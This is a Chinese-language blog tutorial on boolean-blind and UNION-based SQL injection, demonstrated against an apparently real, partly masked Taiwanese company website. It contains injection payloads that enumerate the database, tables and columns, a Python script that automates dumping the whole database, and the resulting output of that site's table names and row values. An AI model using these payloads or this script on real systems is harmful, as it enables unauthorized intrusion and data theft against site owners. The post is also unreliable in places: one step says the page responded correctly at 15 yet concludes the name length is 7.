SQL注入-布尔盲注实例
布尔型盲注的手工成本很大,非常花费时间,建议写脚本来运行,整个过程属于猜解,判断数据库的名称长度,然后猜解第一位字符,第二位... 表名和字段和内容也都是相同的方式进行猜解,sqlmap工具的盲注实际上也是这种原理,只不过它是一个现成的工具了
首先需要了解到数据库的几个函数
Length():统计字符串的长度
mid(database(),1,1)字符串截取,从第一个字符开始截取,截取一个
ord() 字符转化成十进制数
布尔注入是根据页面的正确和不正确状态来判断猜解是真是假
这是页面正常输出的信息
一.获取数据库字符的长度
执行先后顺序先是=然后or然后and,and前的sql是ture,那么1=2是false,
假设数据库字符长度=3那么为true,所以数据库名称长度为3,若不为3那都为false,所以整个sql的结果也为false,页面则返回错误
?id=1&item_id=1' and 1=2 or Length(database())=1
此时页面返回语法错误,可以看到这个id是一个字符型数据,结尾跟了'号,那么我们使用空格--空格来注释掉结尾的’号
?id=1&item_id=1' and 1=2 or Length(database())=1 -- test
页面输出不正常
若相等那么返回页面正常,不相等则返回页面不正常,没有信息输出
,那么依次尝试2,3,4,5,6,7,8,9,10...
在测试到15时页面输出正常,所以推测出次数据库名称长度为7
二.获取数据库名称
两种方式来判断数据库名
1.使用mid()看第一个字符是不是=某个字符,但是由于字符太多,手工就非常麻烦,但是使用脚本来判断就很快了
?id=37 and 1=2 or mid(database(),1,1)=0x276127
?id=37 and 1=2 or mid(database(),1,1)='某个字符'
2.使用ORD()转换成十进制来猜解,这种方法手工更合适
?id=1&item_id=1' and 1=2 or ORD(mid(database(),1,1))>100
这句话的意思为:数据库名的第一个字符的十进制数是不是大于100,
若不是则页面不返回信息,是那么返回信息,依次判断可以得到据库名为dbcalin
三.获取表的总数
依旧是才通过页面返回正常不正常来判断是不是真
假设表为87张,那么为查询到的表总数87张
select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()
是否大于80,那么页面返回正确,
' and 1=2 or (select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database())>80 -- ss
这样子修改80的值来猜出表的总数
四.获取表名的长度
' and 1=2 or (select Length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1)=17 -- ss
获取到第一张表的长度是不是等于17,依旧是这种方式来判断返回结果来确定表名字符的总数,依次从1开始测试
修改limit则控制第几张表,因为之前我们得知了表的总数所以知道limit最大为多少了
五.获取表的名字
' and 1=2 or mid((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1),1,1)='w' -- ss
' and 1=2 or ORD(mid((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1),1,1))>20 -- ss
和获取库名的方式一致,修改limit猜解不同的表名
六.获表的字段总数
' and 1=2 or (select count(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='about_content_eng')>6 -- ss
查询某张表的字段总数,是不是大于6,依次修改6来推测出字段的总数
七.获取第一个字段的长度
' and 1=2 or (select Length(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='about_content_eng' limit 0,1)>6 -- ss
控制limit来判断不同的字段长度,判断方法和上面的表,数据库均一致
八.获取字段的名称
依旧是两种方式来判断
' and 1=2 or mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='about_content_eng' limit 0,1),1,1)='w' -- ss
' and 1=2 or ORD(mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='about_content_eng' limit 0,1),1,1))=100 -- ss
九.获取内容的长度
当前已知:
Database: dbcalin
Table: products_image_eng
products_image_eng 字段为:id
' and 1=2 or (select Length(id) from products_image_eng limit 0,1)<3 -- ss
id内容长度是否小于3,返回正常页面,=1正常页面则判断出长度为1
十.获取字段内容
' and 1=2 or mid((select id from products_image_eng limit 0,1),1,1)=1 -- ss
products_image_eng表的第一条记录的id字段的第一个字符是不是1,是等于1返回正常页面,依次来推测
' and 1=2 or ORD(mid((select image from products_image_eng limit 1,1),2,1))=50 -- ss
products_image_eng表的第二条记录的id字段的第二个字符的十进制数是不是50,2字符的十进制数为50,所以返回正常,当为51时错误页面无返回信息页面
依次来拆解出所有的数据表和字段和内容,这个工作还是得写脚本来跑吧,这个工作量手工实在是太大了,
还是使用union联合查询的方式数据来得比较快,于是写了个python脚本对这个库运行了然后出来很多表相关的信息
#coding:utf-8
from lxml import etree
import requests,sys
def talbes(db_name):
i = 0
print('-' * 10 + ' 正在获取%s数据库中的表... '%db_name + '-' * 10)
while 1:
url = """http://www.****.com.tw/ab.php?id=1&item_id=33' and 1=2 union select 1,2,3,4,TABLE_NAME,6,7 from information_schema.TABLES where TABLE_SCHEMA='%s' limit %d,1 -- ss"""%(db_name,i)
rsp = requests.get(url).content
xml = etree.HTML(rsp)
tables = str(xml.xpath('//*[@id="h6"]/div[2]/div[3]/text()')[0])
tables = tables.strip('\n').strip('\t').strip()
i += 1
if len(tables) == 0:
break
else:
print('数据库:%s 第%d张表:%s' % (db_name, i, tables))
tables_list.append((db_name,tables))
print('-' * 10 + ' 获取完成!!! %s数据库总共%d张表!!! '%(db_name,len(tables_list)) + '-' * 10 + '\n')
return tables_list
def columns(db_tb_name):
i = 0
print('-' * 10 + ' 正在获取%s数据库中%s表的所有字段... '%(db_tb_name[0],db_tb_name[1]) + '-' * 10)
while 1:
url = """http://www.****.com.tw/ab.php?id=1&item_id=33' and 1=2 union select 1,2,3,4,column_name,6,7 from information_schema.COLUMNs where TABLE_SCHEMA='%s' and table_name='%s' limit %d,1-- ss""" %(db_tb_name[0],db_tb_name[1],i)
rsp = requests.get(url).content
xml = etree.HTML(rsp)
column = xml.xpath('//*[@id="h6"]/div[2]/div[3]/text()')[0]
i += 1
column = column.strip('\n').strip('\t').strip()
if len(column) == 0:
break
else:
print('数据库:%s 表:%s 第%d个字段:%s' % (db_tb_name[0], db_tb_name[1],i,column))
colums_list.append((db_tb_name[0],db_tb_name[1],column))
print('-' * 10 + ' 获取完成!!! %s数据库总共%s表总共%d个字段!!! '%(db_tb_name[0], db_tb_name[1],i-1) + '-' * 10 + '\n')
return colums_list
def value(db_tb_cl_name):
i = 0
#获取多少行
url1 = """http://www.****.com.tw/ab.php?id=1&item_id=33' and 1=2 union select 1,2,3,4,count(*),6,7 from %s.%s LIMIT %d,1 -- ss""" % (db_tb_cl_name[0], db_tb_cl_name[1], i)
rsp1 = requests.get(url1).content
xml1 = etree.HTML(rsp1)
values1 = xml1.xpath('//*[@id="h6"]/div[2]/div[3]/text()')[0]
values1 = int(values1.strip('\n').strip('\t').strip())
for i in range(values1):
url = """http://www.****.com.tw/ab.php?id=1&item_id=33' and 1=2 union select 1,2,3,4,%s,6,7 from %s.%s LIMIT %d,1 -- ss""" %(db_tb_cl_name[2],db_tb_cl_name[0],db_tb_cl_name[1],i)
rsp = requests.get(url).content
xml = etree.HTML(rsp)
values = xml.xpath('//*[@id="h6"]/div[2]/div[3]/text()')[0]
values = values.strip('\n').strip('\t').strip()
i =+ 1
if len(values) == 0:
break
else:
print('%s表 %s字段的值:%s'%(db_tb_cl_name[1],db_tb_cl_name[2],str(values).encode('utf-8')))
if __name__ == '__main__':
tables_list = []
colums_list = []
tables_list = talbes('db****')
for table in tables_list:
columns(table)
for column in colums_list:
value(column)
大概这样子
---------- 正在获取dbcalin数据库中的表... ----------
数据库:dbcalin 第1张表:about_content_eng
数据库:dbcalin 第2张表:about_content_jp
数据库:dbcalin 第3张表:about_content_tw
数据库:dbcalin 第4张表:about_us_eng
数据库:dbcalin 第5张表:about_us_jp
数据库:dbcalin 第6张表:about_us_tw
数据库:dbcalin 第7张表:categories_eng
数据库:dbcalin 第8张表:categories_jp
数据库:dbcalin 第9张表:categories_tw
数据库:dbcalin 第10张表:company_explain_eng
数据库:dbcalin 第11张表:company_explain_jp
数据库:dbcalin 第12张表:company_explain_tw
数据库:dbcalin 第13张表:company_info_eng
数据库:dbcalin 第14张表:company_info_jp
数据库:dbcalin 第15张表:company_info_tw
数据库:dbcalin 第16张表:contact_us_eng
数据库:dbcalin 第17张表:contact_us_items_eng
数据库:dbcalin 第18张表:contact_us_items_jp
数据库:dbcalin 第19张表:contact_us_items_tw
数据库:dbcalin 第20张表:contact_us_jp
数据库:dbcalin 第21张表:contact_us_tw
数据库:dbcalin 第22张表:country_actuarial_eng
数据库:dbcalin 第23张表:country_actuarial_jp
---------- 获取完成!!! dbcalin数据库总共87张表!!! ----------
---------- 正在获取dbcalin数据库中system_info_tw表的所有字段... ----------
数据库:dbcalin 表:system_info_tw 第1个字段:varName
数据库:dbcalin 表:system_info_tw 第2个字段:value
---------- 获取完成!!! dbcalin数据库 system_info_tw表总共2个字段!!! ----------
about_content_eng表 id字段的值:b'1'
about_content_eng表 id字段的值:b'2'
about_content_eng表 id字段的值:b'3'
about_content_eng表 id字段的值:b'4'
about_content_eng表 id字段的值:b'5'
about_content_eng表 id字段的值:b'6'
about_content_eng表 id字段的值:b'7'
about_content_eng表 id字段的值:b'8'
about_content_eng表 id字段的值:b'9'
about_content_eng表 item_id字段的值:b'1'
about_content_eng表 item_id字段的值:b'2'
about_content_eng表 item_id字段的值:b'3'
about_content_eng表 item_id字段的值:b'4'
about_content_eng表 item_id字段的值:b'5'
about_content_eng表 item_id字段的值:b'6'
about_content_eng表 numbered字段的值:b'001'
about_content_eng表 numbered字段的值:b'002'
about_content_eng表 numbered字段的值:b'003'
about_content_eng表 numbered字段的值:b'004'
about_content_eng表 title字段的值:b'About Calin'
about_content_eng表 title字段的值:b'Core Value'
about_content_eng表 title字段的值:b'Basic Information'
about_content_eng表 title字段的值:b'Plants Brief'
about_content_eng表 title字段的值:b'Milestone'
about_content_eng表 title字段的值:b'Awards'
about_content_eng表 title字段的值:b'Organization'
about_content_eng表 title字段的值:b'Vision'
about_content_eng表 title字段的值:b'Quality/Hazardous Substances Free (HSF) Policy'
about_content_eng表 available字段的值:b'1'
about_content_eng表 createDate字段的值:b'2012-10-29'
about_content_eng表 createDate字段的值:b'2012-11-09'
about_content_jp表 id字段的值:b'1'
about_content_jp表 id字段的值:b'2'
about_content_jp表 id字段的值:b'3'
about_content_jp表 id字段的值:b'5'
about_content_jp表 id字段的值:b'6'
about_content_jp表 id字段的值:b'7'
about_content_jp表 id字段的值:b'8'
about_content_jp表 id字段的值:b'9'
about_content_jp表 id字段的值:b'10'
about_content_jp表 item_id字段的值:b'1'
about_content_jp表 item_id字段的值:b'2'
about_content_jp表 item_id字段的值:b'3'
about_content_jp表 item_id字段的值:b'4'
about_content_jp表 item_id字段的值:b'5'
about_content_jp表 item_id字段的值:b'6'
about_content_jp表 numbered字段的值:b'001'
about_content_jp表 numbered字段的值:b'002'
about_content_jp表 numbered字段的值:b'003'
about_content_jp表 numbered字段的值:b'004'
about_content_jp表 title字段的值:b'\xe3\x81\x94\xe6\x8c\xa8\xe6\x8b\xb6'
about_content_jp表 title字段的值:b'\xe7\xb5\x8c\xe5\x96\xb6\xe6\xa0\xb8\xe5\xbf\x83'
about_content_jp表 title字段的值:b'\xe4\xbc\x9a\xe7\xa4\xbe\xe6\xa6\x82\xe6\xb3\x81'
about_content_jp表 title字段的值:b'\xe4\xbc\x9a\xe7\xa4\xbe\xe6\xb2\xbf\xe9\x9d\xa9'
about_content_jp表 title字段的值:b'\xe5\x8f\x97\xe8\xb3\x9e'
about_content_jp表 title字段的值:b'\xe7\xb5\x84\xe7\xb9\x94\xe3\x81\xa8\xe5\xbd\xb9\xe5\x89\xb2'
about_content_jp表 title字段的值:b'Vision'
about_content_jp表 title字段的值:b'\xe5\x93\x81\xe8\xb3\xaa/\xe6\x9c\x89\xe5\xae\xb3\xe7\x89\xa9\xe8\xb3\xaa\xe3\x82\x92\xe4\xbd\xbf\xe7\x94\xa8\xe3\x81\x97\xe3\x81\xaa\xe3\x81\x84(HSF)\xe6\x94\xbf\xe7\xad\x96'
about_content_jp表 title字段的值:b'\xe5\xb7\xa5\xe5\xa0\xb4\xe6\xa6\x82\xe6\xb3\x81'
about_content_jp表 available字段的值:b'1'
about_content_jp表 createDate字段的值:b'2012-10-29'
about_content_jp表 createDate字段的值:b'2012-11-09'
about_content_jp表 createDate字段的值:b'2015-01-26'
about_content_tw表 id字段的值:b'1'
about_content_tw表 id字段的值:b'2'
about_content_tw表 id字段的值:b'3'
about_content_tw表 id字段的值:b'4'
about_content_tw表 id字段的值:b'5'
about_content_tw表 id字段的值:b'6'
about_content_tw表 id字段的值:b'8'
about_content_tw表 id字段的值:b'9'
about_content_tw表 id字段的值:b'11'
about_content_tw表 id字段的值:b'12'
about_content_tw表 id字段的值:b'14'
about_content_tw表 id字段的值:b'15'
about_content_tw表 id字段的值:b'16'
about_content_tw表 id字段的值:b'18'
about_content_tw表 id字段的值:b'22'
about_content_tw表 id字段的值:b'23'
about_content_tw表 item_id字段的值:b'1'
about_content_tw表 item_id字段的值:b'2'
about_content_tw表 item_id字段的值:b'7'
about_content_tw表 item_id字段的值:b'3'
about_content_tw表 item_id字段的值:b'5'
about_content_tw表 item_id字段的值:b'6'
about_content_tw表 item_id字段的值:b'9'
about_content_tw表 item_id字段的值:b'8'
about_content_tw表 item_id字段的值:b'4'
about_content_tw表 numbered字段的值:b'001'
about_content_tw表 numbered字段的值:b'002'
about_content_tw表 numbered字段的值:b'003'
about_content_tw表 numbered字段的值:b'004'
about_content_tw表 numbered字段的值:b'005'
about_content_tw表 title字段的值:b'\xe9\x97\x9c\xe6\x96\xbc\xe4\xbd\xb3\xe5\x87\x8c'
about_content_tw表 title字段的值:b'\xe6\xa0\xb8\xe5\xbf\x83\xe5\x83\xb9\xe5\x80\xbc'
about_content_tw表 title字段的值:b'\xe5\x9f\xba\xe6\x9c\xac\xe8\xb3\x87\xe6\x96\x99'
about_content_tw表 title字段的值:b'\xe5\xbb\xa0\xe5\x8d\x80\xe6\xa6\x82\xe6\xb3\x81'
about_content_tw表 title字段的值:b'\xe5\x85\xac\xe5\x8f\xb8\xe6\xb2\xbf\xe9\x9d\xa9'
about_content_tw表 title字段的值:b'\xe7\xa4\xbe\xe6\x9c\x83\xe8\xb2\xac\xe4\xbb\xbb'
about_content_tw表 title字段的值:b'\xe6\xa6\xae\xe8\xad\xbd\xe7\x8d\x8e\xe7\xab\xa0'
about_content_tw表 title字段的值:b'\xe7\xb6\x93\xe7\x87\x9f\xe7\x90\x86\xe5\xbf\xb5'
about_content_tw表 title字段的值:b'\xe5\x93\x81\xe8\xb3\xaa/\xe6\x9c\x89\xe5\xae\xb3\xe7\x89\xa9\xe8\xb3\xaa\xe6\xb8\x9b\xe5\x85\x8d(HSF)\xe6\x94\xbf\xe7\xad\x96'
about_content_tw表 title字段的值:b'\xe4\xb8\xbb\xe8\xa6\x81\xe7\x94\xa2\xe5\x93\x81'
about_content_tw表 title字段的值:b'\xe5\x9f\xba\xe6\x9c\xac\xe8\xb3\x87\xe6\x96\x99(20150728\xe4\xbf\xae\xe6\x94\xb9\xe5\x89\x8d\xe5\x82\x99\xe4\xbb\xbd)'
about_content_tw表 title字段的值:b'\xe7\xa4\xbe\xe6\x9c\x83\xe8\xb2\xac\xe4\xbb\xbb20150519'
about_content_tw表 title字段的值:b'\xe5\x88\xa9\xe5\xae\xb3\xe9\x97\x9c\xe4\xbf\x82\xe4\xba\xba\xe5\xb0\x88\xe5\x8d\x80'
about_content_tw表 title字段的值:b'\xe7\xb5\x84\xe7\xb9\x94\xe6\x9e\xb6\xe6\xa7\x8b---\xe8\x88\x8a\xe8\xb3\x87\xe6\x96\x99'
about_content_tw表 title字段的值:b'\xe7\xb5\x84\xe7\xb9\x94\xe6\x9e\xb6\xe6\xa7\x8b'
about_content_tw表 available字段的值:b'1'
about_content_tw表 available字段的值:b'0'
about_content_tw表 createDate字段的值:b'2012-10-29'
about_content_tw表 createDate字段的值:b'2015-01-13'
about_content_tw表 createDate字段的值:b'2012-11-09'
about_content_tw表 createDate字段的值:b'2015-12-24'
about_content_tw表 createDate字段的值:b'2015-07-28'
about_content_tw表 createDate字段的值:b'2015-05-19'
about_content_tw表 createDate字段的值:b'2015-08-03'
about_content_tw表 createDate字段的值:b'2018-01-10'
about_content_tw表 createDate字段的值:b'2018-06-21'